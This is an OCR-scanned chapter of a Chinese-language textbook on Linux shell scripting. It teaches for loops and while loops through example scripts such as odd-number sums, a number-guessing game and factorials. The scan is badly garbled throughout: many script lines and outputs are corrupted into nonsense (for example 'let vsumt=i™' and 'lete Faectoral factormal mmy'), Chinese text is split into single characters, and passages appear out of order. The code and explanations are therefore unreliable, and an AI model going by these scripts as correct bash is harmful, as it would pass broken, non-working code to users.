却 本 for exam3.sh 中 通过 {1..100..2} 实 现 1 一 100 内 的 整数 按 步 数 2 进行 跳跃 ， 同 样 可 以 











过 i 的 按 步 数 2 不断 递增 ， 最 终 计 算出 sum 的 








澡 



































通过 seq 命令 实现 按 2 递增 来 计算 1 一 100 内 的 所 有 奇数 之 和 。 新 建 脚本 for exam4.sh， 脚 本 
内 容 如 下 所 示 : 





# 例 8-4: for exam4.sh 脚本 使 用 列表 for 循环 和 seq 命令 计算 1 一 100 内 所 有 的 奇数 之 和 
#!/bin/bash 


# 对 sum 赋 初 值 


Sum=0 





# 将 seq 命令 用 于 for 循环 中 
Fo ne 0 
do 

let vsumt=i™ 
done 
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有 三 个 常数 ， 其 中 1 表示 起 始 数 ，2 表示 跳跃 的 步 数 ，100 表示 结束 条 件 值 。 
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echo "sum=$sum" 











sed 命令 是 Linux 预 设 的 外 部 命令 ， 一 般 用 做 一 堆 数字 的 简化 写法 。 脚 本 for_exam4.sh 


中 的 命令 : 


(Sci 2 100%) 











# 例 8-4 for exam4.sh 脚本 的 执行 结果 
[Eoot@localhnost Cnaoterelt /forexamleeh 
sum=2500 

[root@localhost Chapter8]+# 














脚本 执行 结果 如 下 : 


上 面 的 例子 是 对 数字 进行 的 操作 ， 同 样 ， 列 表 for 循环 可 以 对 字符 串 进 行 操作 。 下 面 例 

















8-5 的 脚本 for exam5.sh 实现 周一 到 周 日 的 英文 显示 。 











# 例 8-5: for_exam5 .sh 脚本 显示 周一 到 周 日 对 应 的 英文 翻译 
#!/bin/bash 














# 使 用 列表 for 循环 显示 周一 到 周 日 对 应 的 英文 











for day in Monday Tuesday Wednesday Thursday Friday Saturday Sunday 


do 
echo "$day" 
done 


脚本 for_exam5.sh 在 list 列表 中 列 出 了 周一 到 周 日 对 应 的 英语 翻译 

















循环 将 其 显示 给 用 户 ， 脚 本 执行 结果 如 下 所 示 : 


例 8-5 for_exam5 .sh 脚本 的 执行 结果 
SC 
Monday 

Tuesday 

Wednesday 





na sla 

Friday 

Saturaey 

Sunday 

[root@localhost Chapter8]# 








， 然 后 通过 列表 for 














可 以 通过 for 循环 显示 当前 目录 下 所 有 的 文件 ， 下 面 例 8-6 的 脚本 for exam6.sh 通过 ls 








命令 和 列表 for 循环 实现 当前 目录 下 所 有 文件 的 显示 。 





# 例 8-6: for_exam6. sh 脚本 通过 1s 命令 和 列表 for 循环 显示 当前 目录 下 的 文件 
#!/bin/bash 





#1ls 显示 当前 目录 的 所 有 文件 ， 以 这 些 文件 作为 1ist 列表 ， 然 后 显示 1s 罗列 出 的 文件 








ioe ule in SE ls) 
do 

Semon ee Oy 
done 























脚本 for_exam6.sh 中 ， 通 过 命令 ls 显示 当前 目录 下 的 所 有 文件 ， 然 后 通过 不 断 地 循环 赋 

















值 给 fle， 将 其 对 应 的 文件 名 显示 给 用 户 ， 脚 本 执行 结果 如 下 所 示 : 








# 例 8-6 for exam6.sh 脚本 的 执行 结果 
[reot@localhost Cnaoterelt /forNexame sn 
ESG 





SEE 
Famke eorexams 
ET 
E13 Bor Sas 
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RS See SS 
root@localhost Chapter8]# 


上 面 的 脚本 使 用 了 ls 来 显示 当前 目录 的 所 有 文件 ， 同 样 可 以 通过 通配符 (*) 产生 文件 
名 扩展 ， 其 中 通配符 (*) 可 以 匹配 当前 目录 下 的 所 有 文件 ， 脚 本 for exam7.sh 就 是 一 个 这 样 
的 例子 ， 其 脚本 内 容 如 下 所 示 : 


例 8-7: for exam7.sh 脚本 通过 通配符 (*) 和 列表 for 循环 显示 当前 目录 下 的 文件 
!/bin/bash 

























































































通配符 (*) 显示 当前 目录 的 所 有 文件 ， 以 这 些 文件 作为 1ist 列表 
ET 
加 
本 下 全 
done 
同 脚本 for exam6.sh 的 执行 结果 一 样 ， 脚 本 for exam7.sh 的 执行 结果 如 下 所 示 : 


# 例 8-7 for_exam7 .sh 脚本 的 执行 结果 
lreotQ@localhnost enaeteralt /forexam/ sh 











El fon san 
fn a 
Fore :an 
fn amd 
ES ona 
fuser 





SS 
[root@localhost We 


列表 for 循环 可 以 实现 通过 命令 行 来 传递 脚本 中 for 循环 列表 参数 , 脚本 for_ exam8.sh 就 
是 这 样 的 例子 ， 新 建 脚 本 for_ exam8.sn， 脚本 内 容 如 下 : 


网 8-8: for_exam8 .sh 脚本 演示 列表 for 循环 实现 通过 命令 行 来 传递 脚本 中 for 循环 列表 参数 
Wn a 








提示 用 户 输入 参数 个 数 


EC 

















提示 用 户 输入 内 容 
echo "What you input is: 





m 








通过 命令 行 来 传递 脚本 for 循环 列表 参数 
0s SFT 
do 
echo "$argument™" 
deone 


却 本 for_exam8 在 执行 过 程 中 ， 首 
命令 行 参数 内 容 ， 下 面 是 脚本 的 执行 结 
例 8-8 for exam8.sh 脚本 的 执行 结果 
ooteloeolhneost en fom 
number of arguments is 3 














将 显示 用 户 输入 参数 的 个 数 ， 然 后 输出 用 户 输入 的 


o 








EE 
证 


We ae ne ee 

2 3 

root@localhost Chapter8]# ./for exam8.sh Hello World | 
number of arguments is 3 








WaS 
Helle World |! 
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[root@localhost Chapter8]# ./for exam8.sh Hello World! 
number of arguments is 2 

when yo sh 

Hello World! 

[root@localhost Chapter8]# 


可 以 看 出 ， 参 数列 表 可 以 是 数字 ， 也 可 以 是 字符 串 ， 但 输入 是 以 空格 进行 分 隔 的， 如 果 
存在 空格 ， 脚 本 执行 时 会 认为 存在 另 一 个 参数 。 脚 本 第 一 次 执行 时 ， 输 入 的 数字 1、2 和 3， 
输出 结果 为 参数 3 个 ， 并 输出 这 3 个 数字 ;脚本 第 二 次 执行 时 ， 在 “world” 和 “! ”之 间 加 
了 一 个 空格 ， 可 以 看 到 输出 时 的 参数 个 数 为 3 个 ; 第 三 次 执行 该 脚本 时 ,在 “world” 和 “1!” 
之 间 无 空格 ， 可 以 看 到 提示 输入 的 参数 个 数 为 2 个 。 所 以 ， 列 表 for 循环 在 传递 参数 时 要 注 
意 参 数 间 的 空格 。 


8.1.2 不 带 列表 for 循环 
不 带 列 表 的 for 循环 执行 时 ， 由 用 户 指 定 参数 和 参数 的 个 数 。 下 面 给 出 了 不 带 列 表 的 for 




























































































循环 的 基本 格式 : 
for variable 
do 
command 
command 
done 








其 中 do 和 done 之 间 的 命令 称 为 循环 体 ,Shell 会 自动 将 命令 行 键入 的 所 有 参数 依次 组 织 
成 列表 ， 每 次 将 一 个 命令 行 键入 的 参数 显示 给 用 户 ， 直 全 所 有 的 命令 行 中 的 参数 都 显示 给 用 
户 。 这 种 结构 的 for 循环 和 下 面 带 列 表 的 for 循 环 的 结构 功能 完全 一 致 : 


for variable dn "$e 
do 















































command 
command 


a 
不 带 列表 的 for 循环 同样 通过 命令 行 来 传递 参数 列表 ， 脚 本 for_exam9.sh 利用 不 带 列表 
for 循环 改写 脚本 for exam8.sh， 下 面 是 脚本 内 容 。 


例 8-9: for_exam9. sh 脚本 演示 一 个 不 带 参 数列 表 for 循环 的 例子 
!/bin/bash 








提示 用 户 输入 参数 个 数 
eenol nameeror raenes se bt 

















提示 用 户 输 入 内 容 
Scene Wiete vo nput se 











通过 命令 行 来 传递 脚本 for 循环 列表 参数 
for argument 
do 
echo “$argument™ 
done 


脚本 for exam9.sh 的 执行 结果 与 脚本 for exam8.sh 的 执行 结果 相同 ， 下 面 是 脚本 的 执行 
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o 


结果 
例 8-9 for_exam9.sh 脚本 的 执行 结果 
footQloeahoseeheeEee /Ora 
number of arguments is 3 

Way 


多 
3 








root@localhost Chapter8]# ./for exam9.sh Hello World ! 
number of arguments is 3 

wineus We na ele 

Helie 

World 

lL 

[root@localhost Chapter8]# ./for exam9.sh Hello World! 
number of arguments is 2 

WaS 

Helle 

Ia 

[root@localhost Chapter8]# 


可 以 看 出 , 不 带 列表 for 循环 结构 比 列表 for 循环 结构 简洁 易 读 , 但 其 只 可 从 命令 行 来 传 
递 参数 ， 所 以 ， 这 种 方式 在 Linux Shell 编程 中 使 用 相对 较 少 ， 一 般 只 限于 命令 行 传递 参数 。 


8.1.3 类 C 风格 的 for 循环 


类 C 风格 的 for 循环 也 可 被 称 为 计 次 循环 ， 一 般 用 于 循环 次 数 已 知 的 情况 。 下 面 给 出 了 
类 C 风格 的 for 循环 的 语法 格式 : 

form(( eerl cmer2 Spro) 

do 





















































command 
command 


done 


其 中 表达 式 exprl 为 循环 变量 赋 初 值 的 语句 ;表达 式 expr2 决定 是 否 进 行 循环 的 表达 式 ， 

当 判 断 expr2 退出 状态 为 0 时， 执行 do 和 done 之 间 的 循环 体 ， 当 退出 状态 为 非 0 时 ， 将 退 
出 for 循环 执行 done 后 的 命令 ; 表达 式 expr3 用 于 改变 循环 变量 的 语句 。 类 C 风格 的 for 循 
环 结构 中 ， 循 环 体 也 是 一 个 块 语句 ， 要 么 是 单条 命令 ， 要 么 是 多 条 命令 ， 但 必须 包 器 在 do 
和 done 之 间 。 
下 面 的 类 C 风格 的 for 循环 语句 用 于 输出 前 5 个 正 整 数 ， 新 建 脚本 for exam10.sh， 下 面 


是 脚本 内 容 。 
# 例 8-10: for exam10.sh 脚本 使 用 类 Cc 风格 的 for 循环 实现 输出 前 5 个 正 整数 
#!/bin/bash 

















































































































# 使 用 类 Cc 风格 的 for 循环 输出 1 一 5 
for(( integer = 1; integer <= 5; integert++ ) ) 
do 
Gene wns, 
done 


脚本 for exam10.sh 的 执行 结果 如 下 所 示 : 
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例 8-10 for exam10.sh 脚本 的 执行 结果 
rooteolocaneost enapteral Forexamio sn 


# 
[ 
Il 
加 
3 
4 
[ 


rootelocalhost Chapter8] 
例 8-10 中 的 脚本 for_exam10.sh 在 for 循环 中 首先 声明 了 循环 变量 integer， 并 赋值 为 1， 

之 所 以 称 integer 为 循环 变量 ， 是 因为 integer 用 于 控制 循环 执行 的 次 数 和 结束 条 件 ， 接 着 判 

断 integer 是 否 小 于 或 等 于 5， 若 integer 小 于 或 等 于 5 成 立 ， 则 执行 循环 体 do 和 done 之 间 的 

命令 ， 而 后 执行 修正 表达 式 “integer++”， 将 integer 的 值 加 1， 再 次 判断 integer 小 于 或 等 于 

5 是 否 成 立 ， 以 此 类 推 ， 直 至 循环 结束 。 

使 用 类 C 风格 的 for 循环 要 注意 以 下 事项 : 

如 果 循 环 条 件 最 初 的 退出 状态 为 非 0， 则 不 会 执行 循环 体 。 

当 执 行 更 新 语句 时 , 如 果 循 环 条 件 的 退出 状态 永远 为 0, 则 for 循环 将 永远 执行 下 去 ， 

从 而 产生 所 谓 的 死 循环 。 

@ Linux Shell 中 不 运行 使 用 非 整 数 类 型 的 数 作 为 循环 变量 。 

@ ”如 果 循 环 体 中 的 循环 条 件 被 忽略 ， 则 默认 的 退出 状态 为 0。 

@ 在 类 C 风格 的 for 循环 中 ， 可 以 将 三 个 语 名 全 部 略 掉 ， 下 面 是 合法 的 for 循环 : 


Fon) 












































































































































echo "Hello World! " 
done 


可 以 使 用 类 C 风格 的 for 循环 对 脚本 for exam3.sh 进行 改写 ， 新 建 脚本 for_exam11.sh， 
下 面 是 脚本 内 容 。 
例 8-11: for_examl1.sh 脚本 使 用 类 Cc 风格 的 for 循环 计算 1 一 100 内 所 有 的 奇数 之 和 
!/bin/bash 
































对 sum 赋 初 值 


sum=0 








使 用 类 c 风格 的 for 循环 计算 1 一 100 内 所 有 的 奇数 之 和 ， 并 将 值 保存 在 变量 sum 中 
Eo 








do 
let "sum += i" 
done 
输出 sum 值 


echo "sum=$sum" 

脚本 for_ exam11.sh 同样 是 首先 给 sum 赋 初 值 ,然后 通过 for 循环 不 断 地 对 sum 与 循环 变 
量 i 进行 琶 加 ， 最 终 计算 出 sum 的 值 ， 脚 本 运行 结果 如 下 所 示 : 

例 8-11 for exam11 .sh 脚本 的 执行 结果 

rootQlocalnost CchnapterelH /fornexamllshn 


sum=2500 
root@localhost Chapter8]# 


脚本 for_exam1l1.sh 的 循环 条 件 是 i<=100， 初 始 条 件 三 1， 因此，i=i+2 将 步 长 设 定 为 2， 
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每 执行 一 次 循环 体 ， 就 将 i 的 值 增加 2， 最 终 产 生 结果 sum 为 2500。 

我 们 可 以 使 用 逗号 运算 符 同时 对 两 个 变量 进行 操作 ， 新 建 脚本 for exam12.sh， 下 面 是 脚 
本 内 容 。 

# 例 8-12: for_exam12. sh 脚本 使 用 逗号 运算 符 对 两 个 变量 进行 操作 

#!/bin/bash 






































# 对 循环 条 件 设置 条 件 限 制 变量 
LMIT=5 





# 初 始 化 两 变量 ， 并 操作 for 循环 执行 两 变量 相 减 
for(( a=1l, b=5; a <= LIMIT; at+t+, b-- )) 
do 

let "temp=a-b" 

echo "$a-$b=$temp" 
done 
脚本 for_exam12.sh 的 执行 结果 如 下 所 示 : 
# 例 8-12 for exam12.sh 脚本 的 执行 结果 
Leeooteloeclhes tt Cnapteralt forexoml2 Sh 
1-5=-4 











[root@localhost Chapter8]# 

在 脚本 中 同时 初始 化 a 和 b 的 变量 值 ， 通 过 a<=LIMIT 来 设置 循环 条 件 ， 然 后 通过 a++ 
设置 a 加 1 操作 、b-- 设 置 b 减 1 操作 ， 每 执行 一 次 for 循环 ， 都 判断 a 是 否 小 于 等 于 LIMIT， 
该 循环 将 不 断 地 执行 ， 直 至 a>5。 

在 使 用 类 C 风格 的 for 循环 时 , 要 保证 for 循环 可 以 正常 结束 , 也 就 是 必须 保证 循环 条 件 
的 结果 存在 退出 状态 为 非 0 的 情况 ， 否 则 将 无 休止 地 执行 下 去 ， 从 而 产生 死 循 环 。 比 如 ， 例 
8-13 中 的 脚本 for exam13.sh 就 会 产生 死 循环 。 


# 例 8-13: for_exam13 .sh 脚本 演示 产生 死 循 环 的 例子 
#!/bin/bash 










































































#i 初始 值 为 1， 但 设置 循环 条 件 为 i >=1， 会 产生 死 循环 
£06200 iL 1 
do 
echo "Hello World! " 
done 


郑 本 for_exam13.sh 的 执行 结果 如 下 所 示 : 
例 8-13 for exam13.sh 脚本 的 执行 结果 
foetooeannos eatera ore am 
elle elen 

ele Wrens lell 

Heltoe Wer le 
E 
e 





beer Wane leely 

Tbe asl 

Hello World! 

./for exam13: line 6: echo: write error: 被 中 断 的 系统 调用 
[root@localhost Chapter8]# 
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可 以 看 出 ，“Hello World! ”将 一 直 执行 下 去 ， 需 要 按 “Ctl+C” 组 合 键 将 该 脚本 强行 
终止 ， 否 则 将 无 限 循环 下 去 ， 造 成 死 循环 的 原因 是 i 是 永远 大 于 或 等 于 1 的 。 

类 C 风格 的 for 循环 中 设置 了 三 个 表达 式 ， 尤 其 是 修正 表达 式 ， 不 断 提醒 开发 人 员 对 循 
环 变量 进行 修正 ， 这 样 可 以 更 好 地 设计 循环 ， 但 该 种 循环 也 有 其 缺陷 ， 其 对 字符 串 或 者 文件 
操作 时 存在 困难 。 


while 循环 人 


while 循环 语句 也 称 前 测试 循环 语句 , 它 的 循环 重复 执行 次 数 是 利用 一 个 条 件 来 控制 是 否 
继续 重复 执行 这 个 语句 。while 语句 与 for 循环 语句 相 比 ， 无 论 是 语法 还 是 执行 的 流程 ， 都 比 
较 简 明 易 懂 。while 循环 格式 如 下 : 


while expression 
do 




























































































































































































command 
command 


done 

while 循环 语句 之 所 以 命名 为 前 测试 循环 , 是 因为 它 要 先 判断 此 循环 的 条 件 是 否 成 立 ， 然 
后 才 做 重复 执行 的 操作 。 也 惑 是 说 ，while 循环 语句 执行 的 过 程 是 : 先 判断 expression 的 退出 
状态 ， 如 果 退 出 状态 为 0， 则 执行 循环 体 ， 并 且 在 执行 完 循 环 体 后 ， 进 行 下 一 次 循环 ， 和 否则 
退出 循环 执行 done 后 的 命令 。 为 了 避免 死 循环 ， 必 须 保 证 在 循环 体 中 包含 循环 出 口 条 件 ， 即 
存在 expression 的 退出 状态 为 非 0 的 情况 。 

while 循环 可 以 分 为 四 种 情形 , 下面 分 别 加 以 讨论 。 


8.2.1 计数 器 控制 的 while 循环 


假定 该 种 情形 是 已 经 准确 知道 要 输入 的 数据 或 字符 串 的 数目 ， 在 这 种 情况 下 可 采用 计数 
器 控制 的 while 循环 结构 来 处 理 。 这 种 情形 和 类 C 风格 的 for 循环 类 似 ， 由 于 指定 了 循环 的 
次 数 W， 可 初始 化 计数 器 值 ， 通 过 计数 需 与 W 进行 比较 ， 如 果 小 于 等 于 N， 则 执行 循环 体 ， 
该 循环 体 将 反复 执行 ， 直 到 计数 器 中 的 值 大 于 X 为 止 。 这 种 情形 下 ，while 循环 的 格式 如 下 
所 示 : 


counter = 1 











































































































































































































while expression 
do 
command 


let command to operate counter 
command 























下 面 是 一 个 名 为 while_examl.sh 的 脚本 ， 该 脚本 使 用 计数 器 控制 的 while 循环 用 于 显示 
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# 例 8-14: while_examl.sh 脚本 演示 一 个 while 的 例子 ， 用 于 显示 1 一 5 
#!/bin/bash 


# 初 始 化 循环 变量 int 

int=1 

#while 设置 循环 条 件 ， 在 循环 体 中 设 是 环 增 量 
Win ee a es 

do 





HV 令 和 


虽 
全 
人 > 





ES 
Lot me 
done 


脚本 while_examl 的 执行 脚本 如 下 所 示 : 
# 例 8-14: while examl .sh 脚本 的 执行 结果 
Ireooeanleanes emerelt waeexamnls 


1 
2 
加 
4 
本 
[ 


root@localhost Chapter8]# 


脚本 while_exam1l.sh 首先 初始 化 变量 int 为 1， 循环 条 件 是 测试 int 的 值 是 否 小 于 等 于 5， 






































如 果 小 于 等 于 5〔( 即 测试 条 件 为 真 ，， 将 执行 循环 体 在 循环 体 中 设置 了 int 值 加 1 操作 ， 然 









































后 











次 判断 int 值 是 否 小 于 等 于 5， 这 样 不 断 地 循环 下 去 ， 直 至 int 大 于 5。 

















可 以 使 用 计数 器 控制 的 while 循环 对 脚本 for exam3.sh 进行 改写 ， 新 建 脚本 














while_ exam2.sh， 下 面 是 其 脚本 内 容 。 
例 8-15: while exam2.sh 脚本 使 用 计数 器 控制 的 while 循环 计算 1 一 100 内 所 有 的 奇数 之 和 











x 


/bin/bash 


二 sum 赋 初 值 


Sum=0 





对 计数 器 i 赋 初 值 


i=1 











使 用 计数 器 控制 的 while 循环 计算 1 一 100 内 所 有 的 奇数 之 和 ， 并 将 值 保存 在 sum 中 





wh 0 
do 

let "sum+=i"™ 

let "i += 2"  # 设 置 循 环 计 数 器 使 i 加 2 
done 





输出 sum 值 

echo "sum=$sum" 

却 本 while_exam2 的 执行 结果 为 : 
例 8-15 while exam2.sh 脚本 的 执行 结果 
FeweIICaURSSEENSEEE 于 本 性 本 < 二 和 2 下 
sum=2500 

root@localhost Chapter8]# 


可 以 看 出 ，while exam2.sh 现 了 计算 1 一 100 内 所 有 的 奇数 之 和 ， 本 脚本 首先 初始 化 sum 
值 为 0， 然 后 初始 化 计数 器 i 值 为 1， 接 着 通过 不 断 测试 循环 条 件 i 是否 小 于 等 于 100， 如 果 
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小 于 等 于 100， 将 执行 循环 体 ， 在 循环 条 件 中 设置 了 计数 器 加 2 的 操作 ， 这 样 通过 不 断 地 测 
试 循环 条 件 ， 得 到 最 终 的 执行 结果 为 2500。 


8.2.2 ”结束 标记 控制 的 while 循环 


在 Linux Shell 编程 中 ， 很 多 时 候 不 知道 读 入 数据 的 个 数 ， 但 是 可 以 设置 一 个 特殊 的 数据 
值 来 结束 while 循环 ， 该 特殊 数据 值 称 为 结束 标记 ， 其 通过 提示 用 户 输入 特殊 字符 或 数字 来 
操作 。 当 用 户 输入 该 标记 后 结束 while 循环 ， 执 行 done 后 的 命令 。 在 该 情形 下 ，while 循环 
的 形式 如 下 所 示 : 


read variable 











































































































whomiean eva a Le sememe 
do 
read variable 
done 
举 一 个 例子 来 说 明 结 束 标记 控制 的 while 循环 的 用 法 , 新建 脚本 while_exam3.sh, 脚本 内 
容 如 下 所 示 : 
# 例 8-16: while_exam3 . sh 脚本 演示 使 用 结束 标记 控制 的 while 循环 实现 猜 1 一 10 内 的 数 











#!/bin/bash 
# 提 示 用 户 输入 工 一 10 内 的 整数 


echo "Please input the num(1-10) " 
read num 


#while 循环 实现 猜 数 游戏 


wna en a 
do 
Em A 
then 


Seem roo sm ee ley a 
read num 
El | Mya oe a 
then 
seemnem ronnie Ly eae 
read num 
else 
exit 0 
i 
done 


提示 用 户 猜 对 了 

eeheom eonme Eat ul on ue 
脚本 while_exam3.sh 的 执行 结果 如 下 所 示 : 

例 8-16 while exam3.sh 脚本 的 执行 结果 
neotenlocalnost enaternalt /wn Leenams sn 
Please input the num(1-10) 








加 
人 
3 

woomsinaie ee vn 
4 
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congratulation, you are right! 
[root@localhost Chapter8]# 


脚本 while_exam3.sh 是 一 个 猜 数 游戏 的 程序 ， 一 般 是 设 定 一 个 范围 ， 设 定 了 一 个 结束 标 
然后 通过 不 断 地 提示 用 户 输入 的 数 是 大 于 还 是 小 于 要 猜 的 数 ， 让 用 户 不 断 调 整 输入 的 数 
最 终 猜 到 正确 的 数 。 该 脚本 中 是 一 个 1 一 10 范围 内 的 猜 数 游戏 ， 在 脚本 执行 的 过 程 中 ， 

提示 用 户 输入 1 一 10 内 的 数 ， 而 结束 标记 是 4。 如果 用 户 输入 的 数字 是 4， 则 结束 while 








































































































循环 
如 果 


后 让 








正确 
可 以 
猜 数 








while exam4.sh， 下 面 是 脚本 的 内 容 。 














， 执 行 done 后 的 命令 ， 提 示 用 户 猜 正确 了 ， 显 示 语 句 “Congratulation, you are right!”; 
用 户 输 入 的 数 小 于 4， 则 提示 用 户 输入 的 数 小 了 ， 显 示 语 名 “Too small. Try again!”， 然 
用 户 重 新 输入 一 个 数 ， 如果 用 户 输 入 的 数 大 于 4， 则 提示 用 户 输入 的 数 大 了 ， 显 示 语 句 




















EA 











“Too high. Try again!”， 然 后 让 用 户 重 新 输入 一 个 数 ， 通 过 这 样 不 断 地 循环 ， 用 户 就 能 猜 到 














也 





的 答案 。 当 然 ， 这 种 猜 数 游戏 有 一 定 的 技巧 ， 如 果 使 用 穷 举 法 ， 最 好 的 情况 是 1 次 猜 中 ， 
的 情况 要 猜 10 次 ， 如 果 设 置 的 数值 很 大 ， 这 种 猜 数 方法 有 时 会 使 用 户 失去 猜 数 的 兴趣 。 
通过 折 半 查询 法 进行 猜 数 ， 通 过 不 断 地 折 半 查找 可 以 很 快 猜 到 正确 的 数 ， 在 1 一 10 之 间 
使 用 折 半 查找 ， 最 好 的 情况 为 1 次 猜 中 ,最 差 的 情况 为 4 次 猜 中 ， 效 率 明显 提 高 了 很 多 。 


可 以 通过 用 户 指定 循环 变量 的 值 ， 并 设 定 好 结束 标记 来 实现 while 循环 ， 新 建 脚 本 


















































































































































例 8-17: while _exam4 .sh 演示 使 用 结束 标记 控制 的 while 循环 实现 阶乘 的 操作 
!/bin/bash 











提示 用 户 输入 所 要 实现 阶乘 的 数值 ， 并 将 其 值 赋 给 变量 num 
echo "Please input the num ™ 
read num 


# 初 始 化 阶乘 结束 结果 值 为 


factorial=1 


# 通 过 结束 标记 控制 的 while 循环 实现 num 的 阶乘 
While [ "$num" -gt 0 ] 
do 
lete Faectoral factormal mmy 
i = 


done 


显示 num 的 阶乘 的 值 

echo "The factorial is $factorial" 
芭 本 while_exam4.sh 的 执行 结果 为 : 
例 8-17 while exam4. sh 脚本 的 执行 结果 
rootelocalnost cnapters it /wileNeramn sn 
Please input the num 

与 
Thetactortal nse 
root@localhost Chapter8]# 


芭 本 while_exam4.sh 首先 提示 用 户 输入 所 要 求 阶乘 的 数 ， 然 后 设置 保存 阶乘 结果 的 变量 


























factorial 初始 值 为 1， 由 于 结束 标记 为 循环 变量 等 于 0， 所 以 ， 在 循环 体 中 可 通过 不 断 地 对 循 
环 变 量 进行 自 减 操 作 , 通过 不 断 地 将 循环 变量 与 factorial 相 乘 , 并 将 结果 重新 赋值 给 factorial， 
从 而 得 到 最 终结 果 , 当 循 环 变量 为 0 时 退出 循环 , 然后 执行 done 后 的 命令 , 将 最 终结 果 输 出 。 
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该 脚本 执行 时 ， 设 置 了 求 阶乘 的 数 为 5， 可 以 看 到 5 的 阶乘 为 120。 
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8.2.3 标志 控制 的 while 循环 


标志 控制 的 while 循环 使 用 用 户 输入 的 标志 值 来 控制 循环 的 结束 ， 这 样 避 免 了 用 户 不 知 
道 循环 结束 标记 的 麻烦 。 在 该 情形 下 ，while 循环 的 形式 如 下 所 示 ; 


signal=0 






































while (( signal != 1 )) 
do 


if expression 
then 

signal=1 
Ei 


ee 

更 用 标志 控制 的 while 循环 中 的 signal 和 variable 可 以 是 数字 ,也 可 以 是 字符 串 , 脚本 设 
计时 由 脚本 编写 人 员 指 定 。 下 面 的 脚本 while exam5.sh 是 一 个 使 用 标志 控制 的 while 循环 的 
例子 ， 该 脚本 是 对 脚本 while exam3.sh 的 改写 ， 脚 本 内 容 如 下 所 示 : 


例 8-18: while_exam5 .sh 脚本 演示 使 用 标志 控制 的 while 循环 实现 猜 1 一 10 内 的 数 
!/bin/bash 



















































































提示 用 户 输入 所 要 实现 阶乘 的 数值 ， 并 将 其 值 赋 给 变量 num 
echo "Please input the num:™" 
read num 


# 初 始 化 标志 的 值 


signal=0 


# 标 志 控 制 的 while 循环 实现 猜 数 游戏 
while [[ "$signal" != 1 ]] 
do 
T= 
then 
seheo roomemaol :yon my 
read num 
else menam nn ocean 
then 
eeheom To hiehe Ie vagaa 
read num 
else 
signal=1 
SEN Congraculat lon vy ou ore ene 
下 
done 
脚本 while_ exam5.sh 的 执行 结果 为 : 
# 例 8-18 while _ exam5.sh 脚本 的 执行 结果 
[Eoeotelocalhost Cnapterd]t /wile eramnse sn 


Please input the num(1-10) 
与 


mee roe aa 
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Toomsma aaa 
4 
Conegratulat ion Yvon ore enone 
root@localhost Chapter8]# 















































循环 和 标志 控制 的 while 循环 的 区 别 。 
再 举 一 个 标志 控制 的 while 循环 的 例子 ， 新 建 脚本 while_exam6.sh， 脚 本 内 容 如 下 所 示 : 


网 8-19: while exam6.sh 脚本 演示 标志 控制 的 while 循环 求 累加 和 “(1+2+*…+n) 





语句 , 这 是 因为 结束 标记 就 是 用 户 输入 








| 








!/bin/bash 























提示 用 户 输入 所 要 实现 累加 的 数值 ， 并 将 其 值 赋 给 变量 num 


eeneon Please nout Cneermoa, 





read num 


# 初 始 化 循环 累加 和 sum 和 循环 变量 i 
sum=0 
i=1 


# 初 始 化 标志 值 


signal=0 
# 执 行 累加 操作 
while [[ "$signal" != 1 ]] 
do 
EN ee pr 
then 


let "signal=1" 
let vsumt+=i™ 
echo "1+2+...+$num=$sum" 


else 
let sum=Sumt+i™ 
et De 

fe 


done 

脚本 while_exam6.sh 的 执行 结果 为 : 

例 8-19 while exam6.sh 脚本 的 执行 结果 
neotolocanneoste enarteral nn /wee sn 
Please input the num: 

00 

F200=5050 

root@localhost Chapter8]+# 




















通过 脚本 while_exam5.sh 可 以 看 出 ， 使 用 标志 控 什 
循环 体内 执行 一 次 ， 但 使 用 结束 标记 控制 的 while 循环 在 用 户 输入 4 时 无 法 在 循环 体内 执行 
循环 , 这 是 结束 标记 控制 的 while 


1 的 while 循环 时 ， 当 用 户 输入 4 时 在 








的 结果 为 4 时 退出 
























































脚本 while_exam6.sh 是 一 个 实现 累加 的 程序 ， 在 该 脚本 中 通过 控制 标志 值 来 达到 控制 循 
环 的 目的 ， 该 脚本 通过 if/else 命令 控制 标志 值 ， 如 果 循 环 变 量 的 值 小 于 100， 则 执行 else 与 
fi 之 间 的 命令 ， 这 些 命令 实现 sum 的 累加 ， 同 时 对 循环 变量 进行 加 1 操作 ， 如 果 循 环 变量 的 
值 等 于 100， 则 执行 then 和 else 之 间 的 命令 ， 使 标志 值 > 


8.2.4” 命 合 行 控 制 的 while 循环 
使 用 命令 行 来 指定 输出 参数 和 参数 个 数 ， 这 
































司 时 将 累加 结果 输出 。 





时 用 其 他 三 种 形式 的 while 循环 是 
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无 法 实现 的 ， 所 以 ， 需 要 使 用 命令 行 控 制 的 while 循环 。 该 形式 下 ，while 循环 通常 与 shift 
结合 起 来 使 用 ， 其 中 shift 命令 使 位 置 变量 下 移 一 位 〈 即 $2 代替 $1、3$3 代替 $2 )， 并 且 使 条 
变量 递减 ， 当 最 后 一 个 参数 也 毗 示 给 用 户 后 ，$# 就 会 等 于 0， 同时 $* 也 等 于 空 。 下 面 是 该 情 
形 下 ，while 循环 的 形式 为 : 
wn ls ll vesw Ts ww 
do 
seme roi 


Spinee 
done 


举 一 个 例子 来 说 明 命令 行 控制 的 while 循环 的 用 法 , 新 建 脚本 while_exam7.sh, 脚本 内 容 
如 下 所 示 : 


网 8-20: while_exam7. sh 脚本 命令 行 控制 的 while 循环 
!/bin/bash 
















































































提示 用 户 输入 参数 个 数 
echeo nomeer or rotmenes oY 

















提示 用 户 输入 内 容 
SehoNaae yvonne ns 











通过 命令 行 来 传递 脚本 for 循环 列表 参数 
[ 


wit le DL Mes VS ww I] 
ge 

eenon bn 

See 
done 


和 本 while_exam7.sh 的 执行 结果 为 : 

例 8-20 while exam7.sh 脚本 的 执行 结果 

footQlocomes enapee a wma es 
number of arguments is 3 


Way 


2 
3 








root@localhost Chapter8]# ./while exam/.sh Hello World ! 

number of arguments is 3 

wine Wo na Ee 

Hello 

World 

! 

[root@localhost Chapter8]# 

可 以 看 到 ， 脚 本 while_exam7.sh 可 以 实现 命令 行 输入 字符 串 和 数字 ， 并 将 结果 显示 给 用 
户 ， 如 果 用 户 不 输入 任何 参数 ， 就 根本 不 会 执行 echo 和 shi 命令 ， 因 为 4 为 0。 
其 中 的 循环 条 件 可 以 改写 成 : 
while [[ "$#" -ne 0 ]] 


该 语句 通过 判断 参数 格式 9# 不 等 于 0 时 执行 while 循环 ， 等 于 0 时 ， 则 退出 while 循环 。 
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和 ,ni 循环 


在 执行 while 循环 时 ， 只 要 expression 的 退出 状态 为 0， 将 


















































直 执 行 循环 体 。until 命令 和 











